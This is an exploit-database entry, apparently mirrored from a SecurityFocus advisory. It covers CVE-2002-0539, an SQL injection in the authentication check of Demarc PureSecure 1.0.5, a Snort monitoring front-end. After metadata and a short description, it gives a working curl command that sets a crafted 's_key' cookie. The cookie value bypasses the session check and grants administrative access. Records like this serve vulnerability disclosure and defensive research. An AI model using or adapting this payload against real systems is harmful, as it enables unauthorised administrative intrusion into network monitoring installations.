Demarc PureSecure 1.0.5 - Authentication Check SQL Injection

Author: pokleyzz sakamaniaka
type: remote
platform: multiple
port: 
date_added: 2002-04-15  
date_updated: 2012-09-19  
verified: 1  
codes: CVE-2002-0539;OSVDB-5239  
tags:   
aliases:   
screenshot_url:   
application_url:   

raw file: 21384.txt  
source: https://www.securityfocus.com/bid/4520/info

Demarc PureSecure is a commercially available graphical front-end for Snort, in addition to being a generalized network monitoring solution. Snort is an open-source NIDS (Network Intrusion Detection System). Demarc PureSecure will run on most Linux and Unix variants, as well as Microsoft Windows NT/2000/XP operating systems.

A vulnerability has been reported in some versions of PureSecure. User supplied input is used to construct a SQL statement, allowing SQL injection attacks. Administrative access may be gained through exploitation of this flaw.

curl -b s_key=\'%20OR%20current_session_id%20like%20\'%\'%23 https://<lame host>/dm/demarc